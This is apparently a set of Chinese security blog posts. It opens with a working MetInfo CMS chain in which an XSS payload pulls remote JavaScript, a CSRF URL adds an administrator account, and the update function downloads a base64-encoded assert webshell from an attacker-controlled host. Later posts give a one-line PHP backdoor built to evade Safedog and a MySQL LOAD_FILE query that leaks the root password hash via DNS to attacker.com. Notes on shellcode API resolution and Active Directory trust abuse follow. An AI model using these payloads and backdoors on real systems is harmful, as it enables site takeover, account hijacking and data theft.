MetInfo多处框架缺陷 一键Getshell

首先列举所有利用到的缺陷

全局参数可被污染

无CSRF防御框架

$_GET,$_POST,$_COOKIE请求被合并处理

特殊的XSS

框架分析:

(1)Metinfo框架在文件include/common.inc.php中,将$_GET,$_POST,$_COOKIE请求合并进行了处理,这意味着整个框架所有$_POST的请求都可以修改为$_GET请求,并且直接对各种全局变量进行了赋值。

(2)metinfo没有防止csrf的框架

A. XSS漏洞文件:admin/content/product/addimg.php

if($action=='add'){
   $num = $lp+1;
    $newlist = "
      <div class=\"v52fmbx_dlbox newlist\">
         <dl>
            <dt class='addimgdt'>
               <p>{$lang_setflashName}{$lang_marks}</p>
               <p>{$lang_modimgurl}{$lang_marks}</p>
            </dt>
            <dd style='position:relative;'>
               <div style='margin-bottom:10px;'>
                  <input name='displayname{$lp}' type='text' class='text med' value='' />
               </div>
               <input name='displayimg{$lp}' type='text' class='text' value='' />
               <input name='met_upsql{$lp}' type='file' id='displayimg_upload{$lp}' />
               <script type='text/javascript'>
                  metuploadify('#displayimg_upload{$lp}','big_wate_img','displayimg{$lp}','','5');
               </script>
               <a href='javascript:;' onclick='imgnumfu();deletdisplayimg($(this));' class='displayimg_del'>{$lang_delete}</a>
            </dd>
         </dl>
      </div>
         ";
   echo $newlist;
}

payload:

/admin/content/product/addimg.php?action=add&lang_modimgurl=%3Cscript%20src=http://secgui&lang_marks=.com/template/metinfo.js%3E%3C/script%3E#

XSS面临的问题有:

(1)浏览器本身的XSS防御

(2)met_setcookie设置了httponly无法获取cookie

但是这个XSS比较特殊,这个XSS由两个参数合并显示

{$lang_setflashName}{$lang_marks}

所以只要拆分一个payload到两个参数中,类似Chrome本身的防护机制无法检测到这个payload。

那加载了JS之后如何使用这个JS呢?

因为$_GET,$_POST,$_COOKIE请求被合并处理,让管理员触发js打开新标签加载url,带入对应的payload,就可以完成原本需要POST请求带cookie才能完成的管理员的动作,httponly相当于摆设。

metinfo.js里的payload

window.location.href="http://受害者域名/admin/admin/save.php?action=add&lang=cn&anyid=47&useid=ceshiguanli&pass1=ceshiguanli&pass2=ceshiguanli&name&sex=0&tel&mobile=15678197538&email=1875197538%2540qq.com&qq&msn&taobao&admin_introduction&admin_group=3&langok=metinfo&langok_cn=cn&langok_en=en&langok_tc=tc&admin_pop1801=1801&admin_op0=metinfo&admin_op1=add&admin_op2=editor&admin_op3=del&admin_pop=yes&admin_pops1301=s1301&admin_popc1=c1&admin_popc2=c2&admin_popc3=c3&admin_popc25=c25&admin_popc31=c31&admin_popc32=c32&admin_popc33=c33&admin_popc36=c36&admin_popc37=c37&admin_popc38=c38&admin_popc39=c39&admin_popc40=c40&admin_popc41=c41&admin_popc42=c42&admin_popc43=c43&admin_popc49=c49&admin_popc44=c44&admin_popc50=c50&admin_popc45=c45&admin_popc46=c46&admin_popc47=c47&admin_popc51=c51&admin_popc60=c60&admin_popc61=c61&admin_popc62=c62&admin_popc63=c63&admin_popc68=c68&admin_popc69=c69&admin_popc70=c70&admin_popc86=c86&admin_popc84=c84&admin_popc87=c87&admin_popc88=c88&admin_popc92=c92&admin_popc93=c93&admin_popc94=c94&admin_popc95=c95&admin_popc96=c96&admin_popc97=c97&admin_pop9999=9999&admin_pops1401=s1401&admin_pops1106=s1106&admin_pops1404=s1404&admin_pops1406=s1406&admin_pops1101=s1101&admin_pops1102=s1102&admin_pops1505=s1505&admin_pops1507=s1507&admin_pops1503=s1503&admin_pops1504=s1504&admin_pops1006=s1006&admin_pops1501=s1501&admin_pops1601=s1601&admin_pops1603=s1603&admin_pops1004=s1004&admin_pops1005=s1005&admin_pops1007=s1007&admin_pops1103=s1103&admin_pops1201=s1201&admin_pops1002=s1002&admin_pops1003=s1003&admin_pops1104=s1104&Submit=%25E4%25BF%259D%25E5%25AD%2598";

攻击者首先设置

http://攻击者域名/index.php 中代码为

<?php
header('Location: http://受害者域名/admin/content/product/addimg.php?action=add&lang_modimgurl=%3Cscript%20src=http://secgui&lang_marks=.com/template/metinfo.js%3E%3C/script%3E#');

攻击者可以申请友情链接,管理员在后台看见之后,打开攻击者的域名,被重定向至XSS页面,从而成功添加管理员的账号。

B. 还想要GETSHELL怎么办?

先上Payload

window.location.href="http://受害者域名/admin/system/olupdate.php?action=down&met_host=攻击者域名(不要加http://)/vul.html"

vul.html里的内容

metinfo//<?php define(a,"PD9waHAgJF89Il8iOyRTPSJTIjskVF89IlQiOyRUPSJQIjskRT0iTyI7JF90ZXN0Xz0kXy4kVC4kRS4kUy4kVF87JHtzaG93fT1zdWJzdHIoImFzc2VydC5waHAiLC0xMCwtNCk7JHNob3coJHskX3Rlc3RffVt2YXJdKTs=");file_put_contents("./assert.php",base64_decode(a));echo "没有所需的Flash插件\r\n浏览器可能会自动开始下载所需插件\r\n";metinfo

管理员点击我们域名之后,就会在admin/system/目录地下生成一个shell

admin/system/assert.php

这是怎么办到的呢?

关联代码:

/admin/system/olupdate.php:274行

else if($action=='down'){/*下载文件*/
   $adminfile=$url_array[count($url_array)-2];
   $return=dlfile("$addr/dlfilelist.txt","../update/$addr/dlfilelist.txt");
   if($return!=1){
      dl_error("{$lang_updaterr8}".dlerror($return)."({$adminfile}/update/$addr/dlfilelist.txt)",$type,$olid,$ver,$addr,$action);
   }
   $return=dlfile("$addr/dladd.php","../update/$addr/dladd.php");
   if($return!=1){
      dl_error("{$lang_updaterr8}".dlerror($return)."({$adminfile}/update/$addr/dladd.php)",$type,$olid,$ver,$addr,$action);
   }
   $dladd=file_get_contents("../update/$addr/dladd.php");
   if($dladd!="No Date"){
      include "../update/$addr/dladd.php";
   }
   $dladd=file_get_contents("../update/$addr/dladd.php");
if($dladd!="No Date"){
   include "../update/$addr/dladd.php";
}
   ...

跟踪dlfile函数

include/export.func.php:112行

public function dlfile($urlfrom, $urlto, $checksum = '',$timeout = 30) {
   global $_M;
   $post_data = array('urlfrom'=>$urlfrom, 'checknum'=>$checksum, 'cmsver'=>$_M['config']['metcms_v']);
   $result = $this->curl_post($post_data, $timeout);
   $link = $this->error_no($result);
   if($link != 1){
      return $link;
   }
   if(substr($result,-7) == 'metinfo'){   
      $result=substr($result,0,-7);
      $link = $this->error_no($result);
      if ($link == 1) {
         if ($urlto) {
            if(!file_exists($urlto)){
               makefile($urlto);
            }
            $return = file_put_contents($urlto,$result);      
            if (!$return) {
               return $this->error_no('No filepower');
            } else {
               return 1;
            }
         } else {
            return $result;
         }
      }else{
         return $link;
      }
   } else {
      return $this->error_no('Timeout');
   }

}

调用了curl_post()

function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
   if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
      $curlHandle=curl_init(); 
      curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
      curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
      curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
      curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
      curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
      curl_setopt($curlHandle,CURLOPT_POST, 1);  
      curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
      $result=curl_exec($curlHandle); 
      curl_close($curlHandle); 
   }

其中

$host=$met_host;
$file=$met_file;

两个全局变量都是我们可以伪造的,那么就可以用这个函数来下载我们远程服务器上的webshell了,框架里的检测也被我的payload bypass掉了。

admin/system/olupdate.php:286

行还include了我远程下载的文件,执行了其中的代码。

于是webshell就已经生成了

​admin/system/assert.php

Windows中ShellCode动态寻API(1)

当写shellcode的时候往往会遇到这么一个问题,如何使用汇编准确的定位到想要调用DLL中API的内存地址。

因操作系统版本以及安全补丁可能会修改DLL加载的基址,所以使用硬编码的API入口地址可能会使shellcode失效。在不同的Windows系统环境中如何动态寻址就是shellcode的Writer需要关心的问题了。

在Windows中动态寻址可以通过FS段来实现。

什么是FS段?

FS段是用来存放当前线程的线程环境块(TEB[Thread Environment Block])的一个段,FS寄存器本身的值指向的是全局段描述表(GDT)里面相应的一条索引。

FS段如何工作?

线程环境块保存了当前线程的各种信息,该结构的具体内容不同的系统也有区别,这个结构体的具体内容可以使用Windbg的dt ntdll!_TEB命令来查看重要的是该结构里面保存了我们想要的DLL的信息。
TEB的起始部分也就是fs:[0]的部分是叫做线程信息块(TIB[Thread Information Block])的结构,这个结构TIB中slef的值保存了TEB的起始值,当然了在GDT中也是可以获取这个值的。当fs寄存器知道了fs段开始的位置之后,它根据相应的偏移量(0x030)找到进程环境块(PEB[Process Environment Block])在Windbg中可以用!peb命令来查看进程环境块的内容。

07A3B5D0-D45F-44B1-8111-68302D637465.png

以上具体的内容可以去看以下书本中的相关知识:
《软件调试》(50-54页 && 713-714页)
《逆向工程核心原理》(第46章)
《0Day安全:软件漏洞分析技术》(87-97页)

可以在图中清楚的看到我们需要的DLL的基址了。当我们找到DLL的基址之后,众所周知DLL在Windows中也具有PE头,也有相应的EAT,这时候只要找到相应的函数在EAT里面的指针就大功告成了。

当然实际上可能还会碰到很多其他问题,例如让人头疼的空字节截断shellcode的问题,下一篇写一个具体利用

过安全狗检测的一句话;)

无聊写了个简单但是安全狗查不出的一句话后门
:/

文件名:assert.php
代码:
<?php
${"function"}=substr(__FILE__,-10,-4);;
${"command"}=$_POST[cmd];
$function($command);

链接密码:cmd

本质上这个一句话后门就是利用了检测引擎在正则匹配时候对可变变量检测能力的不足绕过检测。

Windows/*nix下DNS传出注入数据的背后

几天前和朋友在测试一个注入,想要使用MySQL通过load_file()函数,再由DNS查询传出注入出来的数据时候遇到的问题

以下语句

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));

只有Windows + MySQL才能成功通过DNS查询包传出我们想要的数据

而在*nix + MySQL环境下是无法成功的。

(大家可以试试)

这是为什么呢,我探究了一下背后的原理

MySQL load_file()函数相关的源码

  if ((file= mysql_file_open(key_file_loadfile,
                             file_name->ptr(), O_RDONLY, MYF(0))) < 0)
    goto err;

看一下mysql_file_open()这个函数

static inline File
inline_mysql_file_open(
#ifdef HAVE_PSI_FILE_INTERFACE
  PSI_file_key key, const char *src_file, uint src_line,
#endif
  const char *filename, int flags, myf myFlags)
{
  File file;
#ifdef HAVE_PSI_FILE_INTERFACE
  struct PSI_file_locker *locker;
  PSI_file_locker_state state;
  locker= PSI_FILE_CALL(get_thread_file_name_locker)
    (&state, key, PSI_FILE_OPEN, filename, &locker);
  if (likely(locker != NULL))
  {
    PSI_FILE_CALL(start_file_open_wait)(locker, src_file, src_line);
    file= my_open(filename, flags, myFlags);
    PSI_FILE_CALL(end_file_open_wait_and_bind_to_descriptor)(locker, file);
    return file;
  }
#endif

  file= my_open(filename, flags, myFlags);
  return file;
}

可以看到my_open()

File my_open(const char *FileName, int Flags, myf MyFlags)
                                /* Path-name of file */
                                /* Read | write .. */
                                /* Special flags */
{
  File fd;
  DBUG_ENTER("my_open");
  DBUG_PRINT("my",("Name: '%s'  Flags: %d  MyFlags: %d",
                   FileName, Flags, MyFlags));
#if defined(_WIN32)
  fd= my_win_open(FileName, Flags);
#else
  fd = open(FileName, Flags, my_umask);        /* Normal unix */
#endif

  fd= my_register_filename(fd, FileName, FILE_BY_OPEN, EE_FILENOTFOUND, MyFlags);
  DBUG_RETURN(fd);
}

最终可以看到在不同的环境有两种打开my_win_open(),open()

继续追踪my_win_open()

File my_win_sopen(const char *path, int oflag, int shflag, int pmode)
{
  int  fh;                                /* handle of opened file */
  int mask;
  HANDLE osfh;                            /* OS handle of opened file */
  DWORD fileaccess;                       /* OS file access (requested) */
  DWORD fileshare;                        /* OS file sharing mode */
  DWORD filecreate;                       /* OS method of opening/creating */
  DWORD fileattrib;                       /* OS file attribute flags */
  SECURITY_ATTRIBUTES SecurityAttributes;

  DBUG_ENTER("my_win_sopen");

  if (check_if_legal_filename(path))
  {
    errno= EACCES;
    DBUG_RETURN(-1);
  }
  SecurityAttributes.nLength= sizeof(SecurityAttributes);
  SecurityAttributes.lpSecurityDescriptor= NULL;
  SecurityAttributes.bInheritHandle= !(oflag & _O_NOINHERIT);

  /* decode the access flags  */
  switch (oflag & (_O_RDONLY | _O_WRONLY | _O_RDWR)) {
    case _O_RDONLY:         /* read access */
      fileaccess= GENERIC_READ;
      break;
    case _O_WRONLY:         /* write access */
      fileaccess= GENERIC_WRITE;
      break;
    case _O_RDWR:           /* read and write access */
      fileaccess= GENERIC_READ | GENERIC_WRITE;
      break;
    default:                /* error, bad oflag */
      errno= EINVAL;
      DBUG_RETURN(-1);
  }

  /* decode sharing flags */
  switch (shflag) {
    case _SH_DENYRW:        /* exclusive access except delete */
      fileshare= FILE_SHARE_DELETE;
      break;
    case _SH_DENYWR:        /* share read and delete access */
      fileshare= FILE_SHARE_READ | FILE_SHARE_DELETE;
      break;
    case _SH_DENYRD:        /* share write and delete access */
      fileshare= FILE_SHARE_WRITE | FILE_SHARE_DELETE;
      break;
    case _SH_DENYNO:        /* share read, write and delete access */
      fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE;
      break;
    case _SH_DENYRWD:       /* exclusive access */
      fileshare= 0L;
      break;
    case _SH_DENYWRD:       /* share read access */
      fileshare= FILE_SHARE_READ;
      break;
    case _SH_DENYRDD:       /* share write access */
      fileshare= FILE_SHARE_WRITE;
      break;
    case _SH_DENYDEL:       /* share read and write access */
      fileshare= FILE_SHARE_READ | FILE_SHARE_WRITE;
      break;
    default:                /* error, bad shflag */
      errno= EINVAL;
      DBUG_RETURN(-1);
  }

  /* decode open/create method flags  */
  switch (oflag & (_O_CREAT | _O_EXCL | _O_TRUNC)) {
    case 0:
    case _O_EXCL:                   /* ignore EXCL w/o CREAT */
      filecreate= OPEN_EXISTING;
      break;

    case _O_CREAT:
      filecreate= OPEN_ALWAYS;
      break;

    case _O_CREAT | _O_EXCL:
    case _O_CREAT | _O_TRUNC | _O_EXCL:
      filecreate= CREATE_NEW;
      break;

    case _O_TRUNC:
    case _O_TRUNC | _O_EXCL:        /* ignore EXCL w/o CREAT */
      filecreate= TRUNCATE_EXISTING;
      break;

    case _O_CREAT | _O_TRUNC:
      filecreate= CREATE_ALWAYS;
      break;

    default:
      /* this can't happen ... all cases are covered */
      errno= EINVAL;
      DBUG_RETURN(-1);
  }

  /* decode file attribute flags if _O_CREAT was specified */
  fileattrib= FILE_ATTRIBUTE_NORMAL;     /* default */
  if (oflag & _O_CREAT) 
  {
    _umask((mask= _umask(0)));

    if (!((pmode & ~mask) & _S_IWRITE))
      fileattrib= FILE_ATTRIBUTE_READONLY;
  }

  /* Set temporary file (delete-on-close) attribute if requested. */
  if (oflag & _O_TEMPORARY) 
  {
    fileattrib|= FILE_FLAG_DELETE_ON_CLOSE;
    fileaccess|= DELETE;
  }

  /* Set temporary file (delay-flush-to-disk) attribute if requested.*/
  if (oflag & _O_SHORT_LIVED)
    fileattrib|= FILE_ATTRIBUTE_TEMPORARY;

  /* Set sequential or random access attribute if requested. */
  if (oflag & _O_SEQUENTIAL)
    fileattrib|= FILE_FLAG_SEQUENTIAL_SCAN;
  else if (oflag & _O_RANDOM)
    fileattrib|= FILE_FLAG_RANDOM_ACCESS;

  /* try to open/create the file  */
  if ((osfh= CreateFile(path, fileaccess, fileshare, &SecurityAttributes, 
    filecreate, fileattrib, NULL)) == INVALID_HANDLE_VALUE)
  {
    /*
       OS call to open/create file failed! map the error, release
       the lock, and return -1. note that it's not necessary to
       call _free_osfhnd (it hasn't been used yet).
    */
    my_osmaperr(GetLastError());     /* map error */
    DBUG_RETURN(-1);                 /* return error to caller */
  }

  if ((fh= my_open_osfhandle(osfh, 
    oflag & (_O_APPEND | _O_RDONLY | _O_TEXT))) == -1)
  {
    CloseHandle(osfh);
  }

  DBUG_RETURN(fh);                   /* return handle */
}

可以看到load_file()打开文件使用了Win32 API CreateFile()函数

CreateFile 在 MSDN 上的文档

传送门

https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx

可以看到CreateFile()这个函数支持Universal Naming Conventions(UNC)

可以去访问远程的域名主机上的文件,在UNC中是支持域名进行远程主机访问的,既然要访问域名就必然进行DNS解析请求,从而传出数据。

文档节选:
host-name: The host name of a server or the domain name of a domain hosting resource, using the syntax of IPv6address, IPv4address, and reg-name as specified in[RFC3986]

假设MySQL源码里面Win32下用的是C标准库函数fopen(),那么我们就无法通过DNS查询包传送出来我们的数据。(最终都是调用到了CreateFile* 感谢zcgonvh)

并且普通的*nix下是更加无法进行DNS查询,传出我们想要的数据的。

因为仅仅用了一个普通的open()函数(这个函数是在另一个头里,我也进行了追踪,但是最后发现其实也只能打开本地文件)

即使重新做了一个函数可以打开网络中的其他文件,没有类似UNC这背后的一套体系,这种注入出数据的手法也进行不下去。

很佩服第一个想到用DNS来传送SQL注入的数据的人,他肯定是看了MySQL的源码,并且对Windows的API相当熟悉的人。

Reference:
`https://msdn.microsoft.com/en-us/library/gg465305.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx`

==============勘误===============
zcgonvh进行了调试,在Windows VC库函数中Fopen实际上最后调用的也是kernel32.dll里的CreateFile*这类Win32 API,所以必然也是支持自家的unc的。

活动目录以及域安全(1)

知己知彼,百战不殆-孙子

前言

一直以来在网上域渗透的资料,几乎专注的都是一些命令,以及一些工具的使用,但是缺乏对活动目录以及与域本身的安全的研究思考。

所以我自己找资料以及书本内容对活动目录的与域安全进行了学习与记录,可能会写一个系列的域安全文章,挖个坑。

导语

当我们进入了内网,可能我们仅仅想要获取某台机器上的资料,如果能获取那台机器所在域的域控权限固然是最好不过的事情,但有时候并不能得偿所愿。

当我们必须了解了活动目录的运转机制以及安全机制的情况下,才能更好的进行渗透的工作。

基础知识

名词:

域控(Domain Controller),DC

活动目录目录服务(Active Directory Directory Services),ADDS

组织单位(Organizational Unit )

域(Domain)

域树(Tree)

域林(Forest)

1.什么是活动目录?

活动目录是Windows Server在网络环境中提供的“资源目录”。活动目录是储存着域中相关资源信息的目录,例如计算机,用户组,数据库,服务器,打印机,用户属性(权限等),就像一个数据库。

DA67951C-17D7-45D1-907B-504CBE265682.png 图【1】:

2.什么是活动目录目录服务?

“The Active Directory directory service is a distributed database that stores and manages information about network resources, as well as application-specific data from directory-enabled applications. Active Directory allows administrators to organize objects of a network (such as users, computers, and devices) into a hierarchical collection of containers known as the logical structure. The top-level logical container in this hierarchy is the forest. Within a forest are domain containers, and within domains are organizational units.”

首先大家都知道目录,目录提供了文档内容的概览,可以使我们迅速找到一本书,字典中特定的章节。那么将这个概念应用于网络管理员管理服务器中。假设一个公司中有一千台服务器,管理员想要找到特定的服务器的话,一台一台的登陆,显然是极其低效率的方法。所以目录的理念同样适用在解决这种情况。

ADDS提供给域管理一个集中管理的机制和架构。假设一个公司中有一千台服务器,管理员想要找到特定的服务器的话,一台一台的登陆,显然是极其低效率的方法。ADDS可以让域管理员对网络中的所有资源进行访问(登陆,读写等操作)我们可以将其理解为单点登录。

活动目录目录服务提供的功能

(1)提供单点登录访问服务器、服务器上指定的资源与应用程序。
(2)多播复制(Replicatiion)//暂时不关心
(3)基于属性搜索 eg:基于文件名搜索
(4)基于分类搜索 eg:基于分类搜索

3.什么是域?

域是Windows Server 2008的核心单位

我们来梳理一下 活动目录和域的关系:

1.域是逻辑上的服务器以及PC的逻辑分组,在一个域里面的用户都使用公共的安全机制和账户信息。

2.活动目录将域中的资源组织在一起,存放这些资源的各种信息。

4.什么是树(域树)?

“A domain tree is made up of several domains that share a common schema and configuration, forming a contiguous namespace. Domains in a tree are also linked together by trust relationships. Active Directory is a set of one or more trees.”

根据上一条活动目录的作用,很容易理解树,活动目录拥有所有的域中机器账户以及配置。域树由多个域组成,这些域同时由根域DC管理,共享同一表结构和配置,形成一个连续的命名空间。

举个例子,就像如果以it.lonelyrain.me为例,lonelyrain.me就是根域,it就是子域。因为是“父-子”关系,lonelyrain.me

拥有it这个域的所有权限。

5.信任关系

“A trust is a relationship, which you establish between domains, that makes it possible for users in one domain to be authenticated by a domain controller in the other domain.”

信任关系这个字面意思很好理解,我就不多做解释了。

关于域的信任关系,暂时我们只关心信任关系的方向问题。

信任分为双向信任以及单向信任,两种信任关系字面上也很好理解。

我们要重点关心的是活动目录中域树的默认信任关系,默认任何新加入域树中的域它的信任关系都是双向并且可传递的。

情景模拟

举个例子:

当我们的根域(lonelyrain.me)中有

  • 子域 it

  • 子域 workgroup

由域林中默认的信任关系可知,it域与根域lonelyrain.me相互信任,workgroup域与根域lonelyrain.me相互信任。

8F8F7558-B362-405C-AA8A-7DEBD2D16020.png

所以通过信任关系的可传递性,it域默认信任workgroup域。

那么我们考虑这么一种情况,IT域本身的各种对外服务(例如:web)默认它为非常安全,我们并没有办法拿下它的权限。

it域的管理员为了方便,在他管理的it域中,将其中一台(10.11.47.70)开启web服务的wwwroot文件目录权限设置为了

everyone,在其it域的用户都可以看见这个文件目录。这个做法讲道理是没有问题的,因为我们假设it域本身很安全,它对dmz内的机器以及账户共享这些资料。

8B490D0D-85B4-40F2-A7DE-9E9E8C9D2BDD.png

假设我们拿下了workgroup域中的一台服务器(192.168.2.3)的一个普通用户的账号commonuser,而且并没有拿到workgroup域控(DC)。

其实我们是可以通过这个普通权限的workgroup的域普通账号commonuser去访问it域中10.11.47.70这台的wwwroot的文件(默认只有读取权限),从而可以做代码审计之类的工作去突破it域的防护。

81D0833C-3CBB-4793-B71B-B868E2D1D99E.png

“by the way:为什么我觉得管理员会用everyone呢?因为你们可以观察前一副图,微软把everyone默认设为第一个选项,直接选的确很方便”

Reference:
《Windwos Server 2008安全技术详解》
微软技术参考网站:https://support.microsoft.com